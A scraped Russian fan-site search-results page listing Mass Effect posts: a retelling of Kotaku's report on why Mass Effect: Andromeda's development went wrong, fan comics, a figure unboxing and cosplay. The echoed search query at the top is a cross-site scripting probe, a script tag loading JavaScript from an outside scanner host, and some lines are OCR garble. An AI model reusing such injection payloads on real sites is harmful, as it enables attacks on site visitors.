Результаты поиска по запросу «

<Script src=https://wapiti3.ovh/1z.js></Script>

»
Запрос:
Создатель поста:
Теги (через запятую):



ME Andromeda Игры длиннопост ...Mass Effect фэндомы 

"Просто работник Bioware": о разработке ME: Andromeda и причинах провала

Журналист Kotaku провёл расследование и поговорил с несколькими разработчиками игры. Они пожелали остаться анонимными, но поведали много интересных подробностей.

BioWare начала думать о новой Mass Effect сразу после завершения оригинальной трилогии. Команда хотела возродить в серии дух исследователя, вернуться к идее, к которой стремилась первая Mass Effect с поездками по пустынным планетам. Кроме того, нужно было выбрать временной отрезок для новой игры. Например, авторы рассматривали возможность рассказать о событиях войны Первого контакта — периода, когда человечество в Mass Effect впервые встретилось с инопланетянами.

Однако в конце 2012-го босс BioWare Кейси Хадсон (Casey Hudson) провёл опрос среди поклонников и выяснил, что они хотят увидеть продолжение, а не предысторию.

С этой информацией Mass Effect: Andromeda к 2013-му вошла в стадию пре-продакшена — период, когда студии определяются с масштабами игры, налаживают рабочий процесс и составляют план разработки. Команду «Андромеды» тогда возглавил Жерар Лехьяни (Gérard Lehiany) — ранее он руководил созданием игр о Человеке-пауке в Beenox под покровительством Activision.

ME Andromeda,Mass Effect,фэндомы,Игры,длиннопост


При Лехьяни коллектив и дошёл до основной сюжетной идеи: во время событий трилогии Mass Effect Совет Цитадели отправляет группу колонистов в другую галактику, чтобы найти пригодные для обитания планеты. Тогда же было принято решение отдать игроку роль Первопроходца, который будет заново отстраивать цивилизацию на просторах Андромеды.

Вместе с такой сюжетной завязкой пришла и другая идея: сделать сотни планет для исследования. Создавать их, конечно, собирались не руками, а при помощи алгоритмов. No Man’s Sky тогда ещё не была анонсирована — BioWare дошла до такой мысли сама. Но в общем, как говорит один из анонимных источников Kotaku, концепция звучала как «No Man’s Sky с графикой и сюжетом от BioWare».

Команде нравились идеи, но уже на стадии пре-продакшена начались проблемы. В качестве движка для взяли Frostbite. Собеседник Kotaku сравнивает технологию DICE с машиной «Формулы-1». Мол, когда этот движок что-то делает, он делает это потрясающе, как болид на гоночной трассе. Но когда Frostbite чего-то не делает, он, так сказать, не делает это изо всех сил. Автор Kotaku также добавляет: он много слышал о том, что движок DICE с технической точки зрения обходит конкурентов, но крайне неудобен для разработчиков.

ME Andromeda,Mass Effect,фэндомы,Игры,длиннопост

Когда Mass Effect: Andromeda входила в пре-продакшен, Frostbite не был приспособлен к нуждам RPG. Программисты Dragon Age: Inquisition уже собрали к этому моменту какие-то дополнительные инструменты для движка, но их было недостаточно. Так что создателям Andromeda очень многое пришлось писать с нуля, что тормозило процесс. Например, в Frostbite не хватало систем анимации, а большие открытые уровни технология переваривала с трудом.

Затем возникли другие проблемы. BioWare разделилась на три студии в разных городах, куски производства отдали на «аутсорс» в другие части света. Из-за часовых поясов устраивать собрания было очень трудно. Обычно координацией между командами занимаются продюсеры, только вот в BioWare их не хватало, и собрания отжирали очень много ценного времени. Кроме того, во второй половине 2014-го года вслед за Кейси Хадсоном ушёл и Жерар Лехьяни. На должность руководителя взяли Мака Уолтерса (Mac Walters), сценариста, который долгое время работал над серией Mass Effect. Многие источники Kotaku связывают тяжёлую судьбу «Андромеды» как раз с радикальной сменой руководства.

В 2014-м BioWare поняла, что не может собрать вместе идеи, которые казались такими захватывающими год назад. Грубо говоря, механика полётов в космосе и процедурная генерация планет уже работали, но авторам не удавалось сделать их интересными.

Нормального запасного плана у BioWare не было. Студия посчитала, что если генерация себя не оправдает, то она просто вернётся к галактической карте в духе оригинальной трилогии. Вот только к моменту, когда «Андромеда» покинула пре-продакшен и должна была перейти к полноценному производству, окончательного решения о генерации ещё не было.

ME Andromeda,Mass Effect,фэндомы,Игры,длиннопост

Как пишет Kotaku, BioWare окончательно отказалась от генерации лишь в конце 2015-го. Это нанесло серьёзный удар по игре — как-никак, кардинально менялась ключевая концепция.

Создание многих механик (типа боевой системы, мультиплеера или транспорта) шло по расписанию. Однако смысловое наполнение (сюжет, уровни, ролики) сильно отставало из-за сумбурной стадии пре-продакшена. Как говорит один из собеседников Kotaku, сценарий для финальной версии написали всего за два года, хотя Andromeda находилась в разработке все пять лет.

Сразу несколько анонимных авторов уверяют, что огромная часть «Андромеды» была создана лишь в период с конца 2015-го по март 2017-го. Лишь за полтора года до релиза!

Kotaku разузнал и про анимации, которые превратились в отдельный мем. Оказывается, авторы наняли египетскую компанию Snappers, которая могла бы создать прекрасные лицевые анимации. Вот только BioWare Montreal не знала, как качественно внедрить их в движок Frostbite. Кроме того, аниматоры во время разработки переехали с инструментов 3D Studio Max на Maya — это тоже отрицательно сказалось на результате. В конце концов, аниматоров постоянно не хватало. Источники Kotaku отмечают, что аниматоры у игры были очень талантливые — просто их поставили перед нереальными сроками.

ME Andromeda,Mass Effect,фэндомы,Игры,длиннопост

EA и BioWare понимали, что всё идёт не очень гладко, но не могли предугадать, чем Mass Effect: Andromeda обернётся для публики. Крупные компании частенько прибегают к «фиктивным обзорам»: они нанимают рецензента, он смотрит раннюю версию игры и на её основе пишет отзыв для закрытого пользования. Таким образом разработчики узнают о плюсах и минусах своего творения со стороны, а также могут предугадать оценку на Metacritic.

После «фиктивных обзоров» Mass Effect: Andromeda руководители BioWare вздохнули с облегчением: прогноз средней оценки на Metacritic составлял 80-85 баллов. Не фонтан, но игра явно получалась неидеальной, и такой результат EA и BioWare вполне устраивал. Разработчики планировали взять Mass Effect: Andromeda за основу и сотворить из неё отличный сиквел. Примерно то же самое, что произошло с первой Mass Effect и Mass Effect 2.

Но, как вы понимаете, на деле всё обернулось катастрофой. На Metacritic у Mass Effect: Andromeda 70 баллов. В том же марте 2017-го вышли сразу три проекта с куда более высокими оценками: NieR: AutomataHorizon: Zero Dawn и The Legend of Zeda: Breath of the Wild. Да и пробная версия, выпущенная до релиза, сыграла злую шутку: Интернет моментально наводнили «уставшие лица» и другие образцы чудовищной анимации.

Ни одна из вышеперечисленных проблем не является уникальной и непредсказуемой, однако все вместе они нанесли тяжёлый удар по Mass Effect: Andromeda. Некоторые собеседники Kotaku называют «Андромеду» самым тяжёлым проектом, над которым им доводилось работать. А сам журналист сайта делает такой вывод: игра пыталась прыгнуть выше головы, но сил оказалось слишком мало.

Последние слухи гласят, что команду Mass Effect: Andromeda разбросали по другим проектам Electronic Arts, а серию Mass Effect заморозили.


Текст: stopgame.ru

Развернуть

Vetra ME персонажи сделал сам нарисовал сам Mass Effect Andromeda ...Mass Effect фэндомы 

Ну... я пытался
Mass Effect,фэндомы,Vetra,ME персонажи,сделал сам,нарисовал сам, сфоткал сам, написал сам, придумал сам, перевел сам,нарисовал сам,Mass Effect Andromeda
Развернуть

ME комиксы Javik ME персонажи Liara inklie ...Mass Effect фэндомы 


Комикс олицетворяет отношение шипперов к фэндому)


5o bo\h'*> "KES ЕАКсЦ 9o/hcj ? E,Mass Effect,фэндомы,ME комиксы,Javik,ME персонажи,Liara,inklie

- Ну что, как там "исследования" продвигаются, а, Явик?

Mass Effect,фэндомы,ME комиксы,Javik,ME персонажи,Liara,inklie


Развернуть

Renegade Rapunzel Rapunzel (Tangled) ME crossover ToxicFlint Femshep Garrus Jack (ME) Jeff "Joker" Moreau Liara Disney ...Mass Effect фэндомы ME персонажи ME комиксы Disney Effect 


Комикс : Renegade Rapunzel

Автор : toxicflint

Перевод : CandyStrike

Шрифт : PitonAstroSity



Renegade Rapunzel,Rapunzel (Tangled),Рапунцель,ME crossover,Mass Effect,фэндомы,ME комиксы,ToxicFlint,Femshep,ME персонажи,Garrus,Jack (ME),Jeff "Joker" Moreau,Liara,Disney Effect,Disney
Renegade Rapunzel,Rapunzel (Tangled),Рапунцель,ME crossover,Mass Effect,фэндомы,ME комиксы,ToxicFlint,Femshep,ME персонажи,Garrus,Jack (ME),Jeff "Joker" Moreau,Liara,Disney Effect,Disney

Renegade Rapunzel,Rapunzel (Tangled),Рапунцель,ME crossover,Mass Effect,фэндомы,ME комиксы,ToxicFlint,Femshep,ME персонажи,Garrus,Jack (ME),Jeff "Joker" Moreau,Liara,Disney Effect,Disney

Renegade Rapunzel,Rapunzel (Tangled),Рапунцель,ME crossover,Mass Effect,фэндомы,ME комиксы,ToxicFlint,Femshep,ME персонажи,Garrus,Jack (ME),Jeff "Joker" Moreau,Liara,Disney Effect,Disney

Renegade Rapunzel,Rapunzel (Tangled),Рапунцель,ME crossover,Mass Effect,фэндомы,ME комиксы,ToxicFlint,Femshep,ME персонажи,Garrus,Jack (ME),Jeff "Joker" Moreau,Liara,Disney Effect,Disney

Renegade Rapunzel,Rapunzel (Tangled),Рапунцель,ME crossover,Mass Effect,фэндомы,ME комиксы,ToxicFlint,Femshep,ME персонажи,Garrus,Jack (ME),Jeff "Joker" Moreau,Liara,Disney Effect,Disney

Продолжение следует...



Развернуть

Mass Effect Andromeda анимация ME gif ...Mass Effect фэндомы 

Я даже представить боюсь, что это за жидкость.
Развернуть

Tali ME персонажи фигурки делюсь радостью длиннопост много картинок ME фанатское ...Mass Effect фэндомы 

Решил поделиться своей радостью.

Начну с того, что до этого коллекционированием не занимался и фигурки себе не покупал, но когда впервые прочитал на реакторе про анонс этой, то сразу понял что ее я себе куплю. Предзаказ сделал сразу как его открыли, и как оказалось правильно, так как партия была ограниченная и предзаказы быстро закончились. Дальше ожидание до релиза в конце января и еще месяц доставки, и вот я иду на почту и получаю долгожданную посылку.


jT nistf2 шшт Ofc #11 )Ше' Ф-SM; ЭДШ 8m«U fatktt Ktt&iiUrttii • TTf’irrr'' ;’rrF'MV Л Ж '*' WTI5N ♦ « * ,fW! * ♦ feMHfti'U •#(№«* |*4Мф*1 • <# K W I ijfeO’tX (U|#f*rtU h Noli) : 1&£: ( 0 v\» I Л|_' ♦. tc*,\v ___L>S)(J*^3 VS_s£^l?i>J JAPAN То(АсМгемм) Nama A Addrtu it П Nikita

Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское

Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское



Немного поборовшись со своим внутренним евреем (не распаковывать и через цать лет продать за большие деньги на ebay, все таки ограниченный тираж) я начинаю распаковку.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


За качество снимков извините, снимал на левую пятку смартфон при покупке которого на камеру не смотрел вообще.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское

 Wr4,Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


В комплекте шло два вкладыша в подставку.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


Я решил выбрать просто с надписью масс эффект, ведь зачем тут Тали, если я и так буду смотреть на Тали.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


Детализация фигурки очень порадовала.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское

Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


Просто очень сильно порадовала.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское

Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское

Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


Так что с момента получения улыбка практически не сходила у меня с лица. Ну и последнее фото на фоне 27" монитора для сравнения масштаба и оценки размера фигурки.


Mass Effect,фэндомы,Tali,ME персонажи,фигурки,делюсь радостью,длиннопост,много картинок,ME фанатское


Если у вас есть какие-то вопросы, с удовольствием отвечу в комментариях.

Спасибо за внимание! =)

Развернуть

ME gif ME персонажи Femshep Commander Shepard Tali stormcallart ...ME art фэндомы 

Развернуть

...Mass Effect 3 фэндомы 

СО о С-Э СО «Г,Mass Effect,фэндомы,Mass Effect 2,Mass Effect 3

Mass Effect : Жнецы близко

Mass Effect,фэндомы,Mass Effect 2,Mass Effect 3

Mass Effect 2 : Жнецы близко

.1 i T0L' “ - WHAM ^0*,Mass Effect,фэндомы,Mass Effect 2,Mass Effect 3
 

Mass Effect 3 : Что я блять и говорил!

Развернуть

Комиксы Земля Европа юпитер облом ME комиксы celestial cuties ...Mass Effect фэндомы 

тем, кого я вынужденно посадила на строгую celestialcuties-free диету: простите. I'm in the middle of some calibrations.
Европа-тян, не лезь к Земле. Еще подцепишь от нее чего-нибудь! У нее световое] загрязнение, ожирение, синдром бога и игровая зависимость!,Смешные комиксы,веб-комиксы с юмором и их переводы,Земля,Европа,юпитер,Mass Effect,фэндомы,облом,ME комиксы,celestial cuties
Развернуть

ME косплей ME фанатское Kasumi Goto ME персонажи James Vega ...Mass Effect фэндомы 

ME косплей,ME фанатское,Mass Effect,фэндомы,Kasumi Goto,ME персонажи,James Vega
Развернуть
В этом разделе мы собираем самые смешные приколы (комиксы и картинки) по теме (+1000 картинок)